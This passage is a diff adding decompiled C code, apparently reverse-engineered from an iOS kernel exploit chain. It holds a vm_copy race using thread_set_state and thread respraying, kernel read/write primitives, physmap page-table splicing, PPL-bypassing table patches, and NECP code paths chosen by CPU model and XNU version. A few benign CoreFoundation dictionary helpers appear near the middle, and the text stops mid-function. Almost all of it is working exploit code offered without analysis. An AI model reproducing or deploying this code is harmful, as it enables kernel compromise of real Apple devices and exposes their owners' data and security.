+    v75 = kread_u64_value(*(uint64_t *)(someStruct + 8), qword_48008 + v73);
+    *(uint64_t *)(someStruct + 376) = krw_xpac_vaddr_2(v74, v75);
+    v76 = send_port_alloc_msg(someStruct, 0x10000);
+    *(uint64_t *)(someStruct + 664) = v76;
+    memset(suspendedThreadState, 0, sizeof(suspendedThreadState));
+    *(__int128 *)(someStruct + 624) = 0u;
+    *(__int128 *)(someStruct + 640) = 0u;
+    *(__int128 *)(someStruct + 592) = 0u;
+    *(__int128 *)(someStruct + 608) = 0u;
+    *(__int128 *)(someStruct + 560) = 0u;
+    *(__int128 *)(someStruct + 576) = 0u;
+    *(__int128 *)(someStruct + 528) = 0u;
+    *(__int128 *)(someStruct + 544) = 0u;
+    *(__int128 *)(someStruct + 496) = 0u;
+    *(__int128 *)(someStruct + 512) = 0u;
+    *(__int128 *)(someStruct + 464) = 0u;
+    *(__int128 *)(someStruct + 480) = 0u;
+    *(__int128 *)(someStruct + 432) = 0u;
+    *(__int128 *)(someStruct + 448) = 0u;
+    *(__int128 *)(someStruct + 400) = 0u;
+    *(__int128 *)(someStruct + 416) = 0u;
+    *(uint64_t *)(someStruct + 384) = *(uint64_t *)(someStruct + 360);
+    *(uint64_t *)(someStruct + 392) = 3233857728LL;
+    *(uint64_t *)(someStruct + 552) = *(uint64_t *)(someStruct + 376);
+    *(uint64_t *)(someStruct + 640) = qword_48010;
+    *(uint64_t *)(someStruct + 624) = qword_48030;
+    *(uint32_t *)(someStruct + 652) = 0;
+    *(uint64_t *)(someStruct + 632) = v76 + 32512;
+    *(uint64_t *)(someStruct + 616) = 0xC0C0C0C0C0C0C0C0LL;
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v76, -1061109568);
+    v77 = -16384;
+    do
+    {
+      flush_cpu_cache(*(uint64_t *)(someStruct + 8), v77 + *(uint64_t *)(someStruct + 664) + 0x8000, v77 - 1061076800);
+      v77 += 0x4000LL;
+    }
+    while ( v77 < 0x8000 );
+    memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
+    thread_set_state(*(uint32_t *)(someStruct + 672), 6, (thread_state_t)(someStruct + 384), 0x44u);
+    v78 = kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
+    memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
+    thread_set_state(*(uint32_t *)(someStruct + 672), 6, suspendedThreadState, 0x44u);
+    kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
+    kread_u32_value(*(uint64_t *)(someStruct + 8), v101);
+    while ( 1 )
+    {
+      memcpy(*(void **)(someStruct + 24), __dst, 0x130u);
+      v150 = 0;
+      triggerThreadBlock.isa = _NSConcreteStackBlock;
+      triggerThreadBlock.flags = 3221225472LL;
+      triggerThreadBlock.invoke = trigger_thread_state_mod;
+      triggerThreadBlock.descriptor = &unk_448B0;
+      triggerThreadBlock.readySemaphore = v160;
+      triggerThreadBlock.resumeSemaphore = semaphore;
+      triggerThreadBlock.ctx = someStruct;
+      triggerThreadBlock.state = &v150;
+      pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &triggerThreadBlock);
+      semaphore_wait(semaphore);
+      semaphore_signal(v160);
+      *(uint64_t *)(*(uint64_t *)(someStruct + 24) + 240LL) = 0;
+      writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 8u);
+      v150 = 1;
+      v79 = *(uint64_t *)(someStruct + 24);
+      v80 = (uint32_t *)(v79 + 272);
+      v81 = (uint64_t *)(v79 + 296);
+      v82 = (uint64_t *)(v79 + 240);
+      v83 = *(uint32_t *)(someStruct + 656);
+      do
+      {
+        *v80 = v83;
+        *v81 = v48;
+      }
+      while ( !*v82 );
+      writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 1u);
+      pthread_join(v149, 0);
+      v84 = kread_u64_value(*(uint64_t *)(someStruct + 8), v100 + 296);
+      if ( v84 != v78 && v84 != v48 && v84 != v41 )
+      {
+        v85 = *(uint64_t *)(someStruct + 24);
+        if ( *(uint32_t *)(v85 + 272) == *(uint32_t *)(someStruct + 656)
+          && v84
+          && *(uint64_t *)(v85 + 264) == *(uint64_t *)(someStruct + 640)
+          && *(uint64_t *)(v85 + 248) == *(uint64_t *)(someStruct + 624) )
+        {
+          break;
+        }
+      }
+    }
+    memcpy(v94, (const void *)v85, 0x130u);
+    kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
+    mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(someStruct + 368));
+    mach_port_insert_right(mach_task_self_, *(uint32_t *)(someStruct + 368), *(uint32_t *)(someStruct + 368), 0x14u);
+    thread_set_exception_ports(*(uint32_t *)(someStruct + 672), 0x1BFEu, *(uint32_t *)(someStruct + 368), 2, 17);
+    thread_resume(*(uint32_t *)(someStruct + 672));
+    v86 = (mach_msg_header_t *)calloc(1u, 0x800u);
+    *(uint64_t *)(someStruct + 16) = v86;
+    mach_msg(v86, 2, 0, 0x400u, *(uint32_t *)(someStruct + 368), 0, 0);
+    kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
+    memcpy(*(void **)(someStruct + 24), v94, 0x130u);
+    v87 = *(uint64_t *)(someStruct + 360) & 0xFFFFFFFFFFFFC000LL;
+    v88 = *(uint64_t *)(someStruct + 360) & 0x3FFFLL;
+    v110 = 0;
+    memset(pageInfoPayload, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
+    ((uint32_t *)pageInfoPayload)[3] = *(uint64_t *)(someStruct + 32);
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
+    vm_map(mach_task_self_, &v110, 0x4000u, 0, 1, object_handle, v87, 0, 3, 3, 1u);
+    memset(pageInfoPayload, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
+    ((uint32_t *)pageInfoPayload)[3] = v102 >> v159;
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)pageInfoPayload, 32);
+    v89 = v110 + v88;
+    *(uint64_t *)(someStruct + 352) = v110 + v88;
+    *(uint64_t *)(v89 + 264) = 1094795585;
+    *(uint32_t *)(v89 + 272) = 0;
+    *(uint64_t *)(v89 + 248) = 1111638594;
+    memcpy((void *)(v89 + 136), kVmcopyFakePageMarkers, sizeof(kVmcopyFakePageMarkers));
+    setup_kernel_exploit_msg(someStruct, *(uint64_t *)(someStruct + 360), 1094795585, 0, 1111638594, 1128481603, 1145324612);
+    memset(pageInfoPayload, 0, sizeof(pageInfoPayload));
+    query_phys_page_info(someStruct, qword_48040, (__int64)pageInfoPayload);
+    kwrite_u64_to_addr(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 664) + 61448LL, *(uint64_t *)(someStruct + 664) + 61408LL);
+    v90 = *(uint64_t *)(someStruct + 8);
+    v91 = *(uint64_t *)(someStruct + 664) + 61456LL;
+    v92 = (*(__int64 (__fastcall **)(__int64))(*(uint64_t *)someStruct + 16LL))(someStruct);
+    kwrite_u64_to_addr(v90, v91, v92);
+    *(uint32_t *)(someStruct + 40) = v162;
+    if ( semaphore + 1 >= 2 )
+      semaphore_destroy(mach_task_self_, semaphore);
+    if ( v160 + 1 >= 2 )
+      semaphore_destroy(mach_task_self_, v160);
+    v54 = 1;
+  }
+  while ( v54 == 87 );
+  return 0;
+}
+
+struct vmcopy_race_thread_block_ref
+{
+  uint64_t isa;
+  uint64_t flags;
+  void *invoke;
+  void *descriptor;
+  __int64 *state;
+  thread_act_t *targetThread;
+  thread_act_t *threadList;
+  semaphore_t readySemaphore;
+  semaphore_t resumeSemaphore;
+};
+
+struct vmcopy_write_physmap_block_ref
+{
+  uint64_t isa;
+  uint64_t flags;
+  __int64 (__fastcall *invoke)(__int64, unsigned __int8);
+  void *descriptor;
+  __int64 ctx;
+  __int64 kaddr;
+  unsigned __int64 pteIndex;
+  unsigned __int64 pteAddr;
+  unsigned __int64 pageTableBase;
+  vm_size_t size;
+  __int64 savedNext;
+  __int64 savedPrev;
+  int pageShift;
+  mem_entry_name_port_t objectHandle;
+};
+
+struct vmcopy_trigger_thread_block_ref
+{
+  uint64_t isa;
+  uint64_t flags;
+  void *invoke;
+  void *descriptor;
+  __int64 ctx;
+  __int64 *state;
+  semaphore_t readySemaphore;
+  semaphore_t resumeSemaphore;
+};
+
+//----- (00000000000125E4) ----------------------------------------------------
+__int64 __fastcall run_exploit_thread(__int64 a1)
+{
+  struct vmcopy_race_thread_block_ref *block = (struct vmcopy_race_thread_block_ref *)a1;
+  __int64 result = 0;
+
+  // Paired with the main race loop: wait until the parent has primed the
+  // mapped thread object, terminate it, then refill the slot with new threads.
+  __semwait_signal();
+  while ( !*block->state )
+    ;
+  thread_terminate(*block->targetThread);
+  for ( __int64 i = 0; i != 256; i += 4 )
+    result = thread_create(mach_task_self_, (thread_act_t *)((char *)block->threadList + i));
+  *block->targetThread = 0;
+  *block->state = 2;
+  return result;
+}
+
+//----- (0000000000012678) ----------------------------------------------------
+__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2)
+{
+  struct vmcopy_write_physmap_block_ref *block = (struct vmcopy_write_physmap_block_ref *)a1;
+  __int64 ctx; // x21
+  __int64 pageIndex; // x8
+  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF
+
+  object_handle = 0;
+  ctx = block->ctx;
+
+  // Temporarily splice the chosen physical page into the physmap metadata.
+  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->kaddr, block->pteIndex | (block->pteIndex << 32));
+  pageIndex = (block->kaddr - block->pageTableBase) >> block->pageShift;
+  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->pteAddr + 8LL, pageIndex | (pageIndex << 32));
+  mach_make_memory_entry(
+    mach_task_self_,
+    &block->size,
+    0,
+    (a2 << 24) | 0x10003,
+    &object_handle,
+    block->objectHandle);
+  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->pteAddr + 8LL, block->savedNext);
+  kwrite_u64_to_addr(*(uint64_t *)(ctx + 8), block->kaddr, block->savedPrev);
+  return mach_port_destroy(mach_task_self_, object_handle);
+}
+
+//----- (0000000000012754) ----------------------------------------------------
+__int64 __fastcall trigger_thread_state_mod(__int64 a1)
+{
+  struct vmcopy_trigger_thread_block_ref *block = (struct vmcopy_trigger_thread_block_ref *)a1;
+  __int64 ctx; // x20
+  thread_act_t targetThread; // w0
+
+  ctx = block->ctx;
+  __semwait_signal();
+  while ( !*block->state )
+    ;
+  targetThread = *(uint32_t *)(ctx + 672);
+  return thread_set_state(targetThread, 6, (thread_state_t)(ctx + 384), 0x44u);
+}
+// 127B0: variable 'vars8' is possibly undefined
+
+//----- (00000000000127C0) ----------------------------------------------------
+__int64 __fastcall get_ppnum_via_kread(__int64 a1)
+{
+  __int64 v2; // x0
+  struct_krwCtx *v3; // x20
+  __int64 v4; // x0
+  unsigned __int64 v5; // x0
+  __int64 v6; // x22
+  __int64 v7; // x24
+  vm_address_t v8; // x20
+  __int64 v9; // x21
+  __int64 result; // x0
+  int v11; // w23
+  __int64 v12; // x24
+  __int128 v13; // [xsp+0h] [xbp-70h] BYREF
+  __int128 v14; // [xsp+10h] [xbp-60h]
+
+  v2 = *(uint64_t *)(a1 + 8);
+  v3 = KRWCTX_FROM_RAW_FIELD(v2, 32);
+  v4 = kread_u64_value(v2, *(uint64_t *)(v2 + 16) + 40LL);
+  v5 = krw_xpac_vaddr_2(v3, v4);
+  v6 = kread_u64_value(*(uint64_t *)(a1 + 8), v5 + 24);
+  while ( 1 )
+  {
+    v7 = v6;
+    v8 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 16);
+    v9 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 24);
+    result = kread_u32_value(*(uint64_t *)(a1 + 8), v6 + 72);
+    if ( v8 == 0x1000000000LL )
+      break;
+    v11 = result;
+    v6 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 8);
+    if ( v11 < 0 )
+    {
+      v13 = 0u;
+      v14 = 0u;
+      v12 = v7 + 48;
+      kread_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
+      HIDWORD(v13) = *(uint64_t *)(a1 + 32);
+      kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
+      v13 = 0u;
+      v14 = 0u;
+      kread_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
+      DWORD2(v14) = v11 & 0x7FFFFFFF;
+      kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
+      vm_deallocate(mach_task_self_, v8, v9 - v8);
+    }
+  }
+  return result;
+}
+
+//----- (0000000000012954) ----------------------------------------------------
+__int64 __fastcall compare_cfdict_entries(const void *a1, const void *a2)
+{
+  __int64 v2; // x20
+  CFTypeID v5; // x22
+  CFTypeID v6; // x22
+  void (__cdecl *v7)(const void *, const void *, void *); // x0
+  unsigned int v9; // [xsp+0h] [xbp-30h] BYREF
+  const void *v10; // [xsp+8h] [xbp-28h]
+
+  v2 = 708609;
+  if ( a1 )
+  {
+    v5 = CFGetTypeID(a1);
+    if ( v5 == CFDictionaryGetTypeID() )
+    {
+      if ( a2 )
+      {
+        v6 = CFGetTypeID(a2);
+        if ( v6 == CFDictionaryGetTypeID() )
+        {
+          v9 = 0;
+          v10 = a1;
+          v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(iterate_cftype_values);
+          CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9);
+          return v9;
+        }
+      }
+    }
+  }
+  return v2;
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (00000000000129F8) ----------------------------------------------------
+void __fastcall iterate_cftype_values(const void *a1, CFTypeRef cf, __int64 a3)
+{
+  CFTypeID v6; // x22
+  CFTypeID v7; // x22
+  int v8; // w23
+  void *v9; // x21
+  CFTypeID v10; // x22
+  CFTypeID v11; // x22
+  CFTypeID v12; // x22
+  CFIndex Count; // x22
+  void (__cdecl *v14)(const void *, void *); // x0
+  CFIndex v15; // x21
+  void (__cdecl *v16)(const void *, void *); // x0
+  int v17; // w8
+  void *value; // [xsp+8h] [xbp-48h] BYREF
+  int context; // [xsp+10h] [xbp-40h] BYREF
+  void *v20; // [xsp+18h] [xbp-38h]
+  CFRange v21; // 0:x1.16
+  CFRange v22; // 0:x1.16
+
+  if ( !a3 || *(uint32_t *)a3 )
+    return;
+  if ( !a1 || !cf )
+  {
+    v17 = 708609;
+LABEL_22:
+    *(uint32_t *)a3 = v17;
+    return;
+  }
+  v6 = CFGetTypeID(cf);
+  if ( CFStringGetTypeID() != v6 && CFArrayGetTypeID() != v6 && CFBooleanGetTypeID() != v6 && CFNumberGetTypeID() != v6 )
+    goto LABEL_21;
+  value = 0;
+  if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), a1, (const void **)&value) )
+    goto LABEL_19;
+  v7 = CFGetTypeID(value);
+  if ( CFGetTypeID(cf) != v7 )
+  {
+LABEL_21:
+    v17 = 708628;
+    goto LABEL_22;
+  }
+  if ( CFArrayGetTypeID() == v7 )
+  {
+    v8 = 708609;
+    v9 = value;
+    if ( value )
+    {
+      v10 = CFGetTypeID(value);
+      if ( v10 == CFArrayGetTypeID() )
+      {
+        v11 = CFGetTypeID(cf);
+        if ( v11 == CFArrayGetTypeID() )
+        {
+          v12 = CFGetTypeID(cf);
+          if ( v12 == CFArrayGetTypeID() )
+          {
+            LOBYTE(context) = 1;
+            Count = CFArrayGetCount((CFArrayRef)cf);
+            v14 = (void (__cdecl *)(const void *, void *))nullsub_1(check_cfstring_type);
+            v21.location = 0;
+            v21.length = Count;
+            CFArrayApplyFunction((CFArrayRef)cf, v21, v14, &context);
+            if ( (uint8_t)context )
+            {
+              context = 0;
+              v20 = v9;
+              v15 = CFArrayGetCount((CFArrayRef)cf);
+              v16 = (void (__cdecl *)(const void *, void *))nullsub_1(cfarray_add_unique);
+              v22.location = 0;
+              v22.length = v15;
+              CFArrayApplyFunction((CFArrayRef)cf, v22, v16, &context);
+              v8 = context;
+            }
+            else
+            {
+              v8 = 708628;
+            }
+          }
+        }
+      }
+    }
+    *(uint32_t *)a3 = v8;
+    return;
+  }
+LABEL_19:
+  if ( !*(uint32_t *)a3 )
+    CFDictionarySetValue(*(CFMutableDictionaryRef *)(a3 + 8), a1, cf);
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (0000000000012BF4) ----------------------------------------------------
+__int64 __fastcall merge_cfdict_entries(const void *a1, const void *a2)
+{
+  __int64 v2; // x20
+  CFTypeID v5; // x22
+  CFTypeID v6; // x22
+  void (__cdecl *v7)(const void *, const void *, void *); // x0
+  unsigned int v9; // [xsp+0h] [xbp-30h] BYREF
+  const void *v10; // [xsp+8h] [xbp-28h]
+
+  v2 = 708609;
+  if ( a1 )
+  {
+    v5 = CFGetTypeID(a1);
+    if ( v5 == CFDictionaryGetTypeID() )
+    {
+      if ( a2 )
+      {
+        v6 = CFGetTypeID(a2);
+        if ( v6 == CFDictionaryGetTypeID() )
+        {
+          v9 = 0;
+          v10 = a1;
+          v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(apply_cfdict_update);
+          CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9);
+          return v9;
+        }
+      }
+    }
+  }
+  return v2;
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (0000000000012C98) ----------------------------------------------------
+void __fastcall apply_cfdict_update(void *key, CFTypeRef valueToCompare, __int64 a3)
+{
+  CFTypeID v5; // x21
+  CFIndex Count; // x21
+  void (__cdecl *v7)(const void *, void *); // x0
+  int v8; // w8
+  int context; // [xsp+8h] [xbp-38h] BYREF
+  void *v10; // [xsp+10h] [xbp-30h]
+  void *value; // [xsp+18h] [xbp-28h] BYREF
+  CFRange v12; // 0:x1.16
+
+  if ( a3 && !*(uint32_t *)a3 )
+  {
+    if ( key && valueToCompare )
+    {
+      value = 0;
+      if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), key, (const void **)&value) )
+      {
+        v8 = 708625;
+        goto LABEL_14;
+      }
+      v5 = CFGetTypeID(value);
+      if ( CFGetTypeID(valueToCompare) == v5 )
+      {
+        if ( CFArrayGetTypeID() == v5 )
+        {
+          context = 0;
+          v10 = value;
+          Count = CFArrayGetCount(valueToCompare);
+          v7 = (void (__cdecl *)(const void *, void *))nullsub_1(cfarray_contains_check);
+          v12.location = 0;
+          v12.length = Count;
+          CFArrayApplyFunction(valueToCompare, v12, v7, &context);
+          v8 = context;
+LABEL_14:
+          *(uint32_t *)a3 = v8;
+          return;
+        }
+        if ( CFEqual(valueToCompare, value) )
+        {
+          *(uint32_t *)a3 = 0;
+          return;
+        }
+      }
+      v8 = 708628;
+      goto LABEL_14;
+    }
+    v8 = 708609;
+    goto LABEL_14;
+  }
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (0000000000012DB0) ----------------------------------------------------
+void __fastcall cfarray_add_unique(const void *a1, __int64 a2)
+{
+  CFArrayRef v4; // x21
+  CFMutableArrayRef v5; // x0
+  CFRange v7; // 0:x1.16
+
+  if ( a2 && !*(uint32_t *)a2 )
+  {
+    if ( a1 )
+    {
+      v4 = *(CFArrayRef *)(a2 + 8);
+      v7.length = CFArrayGetCount(v4);
+      v7.location = 0;
+      if ( !CFArrayContainsValue(v4, v7, a1) )
+      {
+        v5 = *(CFMutableArrayRef *)(a2 + 8);
+        CFArrayAppendValue(v5, a1);
+      }
+    }
+    else
+    {
+      *(uint32_t *)a2 = 708609;
+    }
+  }
+}
+// 12E28: variable 'vars8' is possibly undefined
+
+//----- (0000000000012E48) ----------------------------------------------------
+const void *__fastcall check_cfstring_type(const void *result, uint8_t *a2)
+{
+  const void *v3; // x20
+
+  if ( a2 )
+  {
+    if ( !result || (v3 = (const void *)CFGetTypeID(result), result = (const void *)CFStringGetTypeID(), v3 != result) )
+      *a2 = 0;
+  }
+  return result;
+}
+
+//----- (0000000000012E88) ----------------------------------------------------
+const void *__fastcall cfarray_contains_check(const void *result, __int64 a2)
+{
+  const void *v3; // x20
+  int v4; // w22
+  CFArrayRef v5; // x21
+  CFRange v6; // 0:x1.16
+
+  if ( a2 && !*(uint32_t *)a2 )
+  {
+    v3 = result;
+    v4 = 708609;
+    if ( result )
+    {
+      v5 = *(CFArrayRef *)(a2 + 8);
+      v6.length = CFArrayGetCount(v5);
+      v6.location = 0;
+      result = (const void *)CFArrayContainsValue(v5, v6, v3);
+      if ( (uint32_t)result )
+        return result;
+      v4 = 708625;
+    }
+    *(uint32_t *)a2 = v4;
+  }
+  return result;
+}
+
+//----- (0000000000012EF8) ----------------------------------------------------
+void __fastcall necp_dispatch_by_version(struct_krwCtx *krwCtx)
+{
+  unsigned __int64 xnuVersionPacked; // x8
+  bool a13PlusUsesNewNecpPath; // w0
+  bool a15PlusUsesNewNecpPath; // w0
+
+  xnuVersionPacked = krwCtx->xnuVersionPacked;
+  a13PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
+                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
+                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && krwCtx->xnuMajorVersion < 10002));
+  a15PlusUsesNewNecpPath = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
+                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
+                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && krwCtx->xnuMajorVersion <= 10001));
+  if ( a13PlusUsesNewNecpPath || a15PlusUsesNewNecpPath )
+  {
+    necp_send_msg_2(krwCtx);
+  }
+  else
+  {
+    nullsub_2(krwCtx);
+  }
+}
+// 22D68: using guessed type __int64 __fastcall nullsub_2(uint64_t);
+
+//----- (000000000001308C) ----------------------------------------------------
+bool __fastcall check_necp_flag(struct_krwCtx *krwCtx)
+{
+  return krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
+}
+
+//----- (00000000000130B4) ----------------------------------------------------
+bool __fastcall necp_kread_region(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3, unsigned int a4)
+{
+    __int64 v11; // x8
+    unsigned __int64 v12; // x23
+    unsigned __int64 v13; // x26
+    __int64 v14; // x28
+    int v15; // w0
+    bool v16; // cc
+    unsigned __int64 v17; // x8
+    unsigned __int64 v18; // x9
+    unsigned __int64 v19; // x10
+    int v20; // w9
+    __int64 v21; // x0
+    __int64 v22; // [xsp+0h] [xbp-70h] BYREF
+    uint32_t v230, v231; // [xsp+8h] [xbp-68h] BYREF
+    unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF
+    __int64 v25; // [xsp+18h] [xbp-58h] BYREF
+
+    v22 = 0;
+    v230=0; v231=0;
+    v24 = 0;
+    v25 = 0;
+    if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK)) return 0;
+    if (!a2 || !a3 || !a4 ) return 0;
+    if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) ) {
+        return !!ppl_physmap_table_patch_write(krwCtx, a2, a3, a4, 0);
+    }
+    if ( get_kwrite_fn(krwCtx, (__int64 *)&v24, &v231) )
+    {
+        if ( v24 <= a2 )
+        {
+            if ( a2 + a4 <= v24 + v231 )
+            {
+                if ( (unsigned int)lookup_physmap_page_slot(krwCtx, 3u, &v25) )
+                {
+                    if ( v25 )
+                        goto LABEL_13;
+                    v16 = (unsigned int)v231 > 0x8C000
+                    || (unsigned __int64)(krwCtx->xnuVersionPacked - XNU_VERSION_PACKED(6153, 40, 121, 0, 0)) > 0xF788FFFFFLL;
+                    v17 = v231 + 8;
+                    if ( !v16 )
+                        v17 = 573448;
+                    v18 = krwCtx->pageSizeOrSomething;
+                    v19 = v17 % v18;
+                    v20 = v18 - v17 % v18;
+                    if ( !v19 )
+                        v20 = 0;
+                    v230 = v17 + v20;
+                    v21 = alloc_physmap_scratch_page(krwCtx, &v230);
+                    v25 = v21;
+                    if ( v21 )
+                    {
+                        if ( (unsigned int)cache_physmap_page_slot(krwCtx, 3u, v21) )
+                        {
+                        LABEL_13:
+                            v11 = krwCtx->pageMask;
+                            v12 = a2 & ~v11;
+                            v13 = (a2 + a4 - 1) & ~v11;
+                            if ( v12 > v13 )
+                            {
+                            LABEL_19:
+                                return (unsigned int)kwrite_with_retry(krwCtx, a2 - v24 + v25, a3, a4) != 0;
+                            }
+                            else
+                            {
+                                while ( (unsigned int)krw_read_thunk(krwCtx, v25 + v231, 8, &v22) )
+                                {
+                                    v14 = 1 << ((v12 - v24) >> 14);
+                                    if ( (v22 & v14) == 0 )
+                                    {
+                                        v15 = pgtable_walk_for_physmap(krwCtx, v25 + v12 - v24, v12);
+                                        if ( !v15 )
+                                            break;
+                                        v22 |= v14;
+                                        if ( !(unsigned int)kwrite_with_retry(krwCtx, v25 + v231, (__int64)&v22, 8) )
+                                            break;
+                                    }
+                                    v12 += krwCtx->pageSizeOrSomething;
+                                    if ( v12 > v13 )
+                                        goto LABEL_19;
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    }
+    return 0;
+}
+
+//----- (0000000000013304) ----------------------------------------------------
+bool __fastcall ppl_physmap_table_patch_write(struct_krwCtx *krwCtx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5)
+{
+  int v10; // w0
+  uint64_t pageMask; // x8
+  mach_vm_address_t v12; // x24
+  __int64 v13; // x27
+  uint64_t *v14; // x8
+  __int64 v15; // x9
+  __int64 v16; // x10
+  mach_vm_address_t v17; // x1
+  __int64 v18; // x0
+  __int64 v19; // x26
+  __int64 v20; // x8
+  unsigned __int64 v21; // x25
+  unsigned __int64 v22; // x0
+  int v23; // w0
+  uint8_t v25[12]; // [xsp+4h] [xbp-5Ch] BYREF
+
+  v10 = acquire_write_semaphore_lock(krwCtx, 5u, 0x2710u);
+  if ( !v10 )
+  {
+    *(uint64_t *)&v25[4] = 0;
+    pageMask = krwCtx->pageMask;
+    v12 = vaddr & ~pageMask;
+    if ( v12 == ((vaddr + (unsigned int)size - 1) & ~pageMask) )
+    {
+      if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
+        v13 = 16;
+      else
+        v13 = 256;
+      v14 = &krwCtx->gap_0x878;
+      v15 = v13;
+      do
+      {
+        if ( !*v14 )
+          break;
+        if ( v12 == *v14 )
+        {
+          v16 = *(v14 - 1);
+          if ( v16 )
+          {
+            v17 = vaddr - v12 + v16;
+LABEL_30:
+            if ( (unsigned int)kwrite_something(krwCtx, v17, newBytes, size, a5) )
+            {
+              v10 = release_write_semaphore_lock(krwCtx, 5u);
+              return v10 == 0;
+            }
+            goto LABEL_32;
+          }
+        }
+        v14 += 2;
+        --v15;
+      }
+      while ( v15 );
+      if ( !(unsigned int)lookup_physmap_page_slot(krwCtx, 7u, (__int64 *)&v25[4]) )
+        goto LABEL_32;
+      if ( *(uint64_t *)&v25[4] )
+      {
+        if ( !(unsigned int)krw_read_thunk(krwCtx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &krwCtx->gap_0x870) )
+          goto LABEL_32;
+      }
+      else
+      {
+        *(uint64_t *)v25 = (unsigned int)(16 * v13);
+        v18 = alloc_physmap_scratch_page(krwCtx, v25);
+        *(uint64_t *)&v25[4] = v18;
+        if ( !v18 || !(unsigned int)cache_physmap_page_slot(krwCtx, 7u, v18) )
+          goto LABEL_32;
+        bzero(&krwCtx->gap_0x870, (unsigned int)(16 * v13));
+      }
+      v19 = 2160;
+      while ( 1 )
+      {
+        v20 = *(uint64_t *)&krwCtx->raw_0x4[v19 + 4];
+        if ( !v20 )
+          break;
+        if ( v12 == v20 )
+        {
+          v21 = *(uint64_t *)((char *)&krwCtx->flags + v19);
+          if ( v21 )
+            goto LABEL_29;
+        }
+        v19 += 16;
+        if ( !--v13 )
+          goto LABEL_32;
+      }
+      *(uint32_t *)v25 = krwCtx->pageSizeOrSomething;
+      v22 = alloc_physmap_page(krwCtx, (unsigned int *)v25);
+      if ( v22 )
+      {
+        if ( *(uint32_t *)v25 == krwCtx->pageSizeOrSomething )
+        {
+          v21 = v22;
+          v23 = pgtable_walk_for_physmap(krwCtx, v22, v12);
+          if ( v23 )
+          {
+            *(uint64_t *)&krwCtx->raw_0x4[v19 + 4] = v12;
+            *(uint64_t *)((char *)&krwCtx->flags + v19) = v21;
+            if ( (unsigned int)kwrite_with_retry(
+                                 krwCtx,
+                                 *(uint64_t *)&v25[4] + ((v19 - 2160) & 0xFFFFFFFF0LL),
+                                 KRWCTX_RAW_PTR(krwCtx) + v19,
+                                 16) )
+            {
+LABEL_29:
+              v17 = vaddr - v12 + v21;
+              goto LABEL_30;
+            }
+          }
+        }
+      }
+    }
+LABEL_32:
+    release_write_semaphore_lock(krwCtx, 5u);
+    v10 = 708619;
+  }
+  return v10 == 0;
+}
+//----- (000000000001353C) ----------------------------------------------------
+bool __fastcall get_kwrite_fn(struct_krwCtx *krwCtx, __int64 *a2, int *a3)
+{
+  __int64 v6; // x22
+  int v7; // w8
+  __int64 v9; // x0
+  int v10; // w8
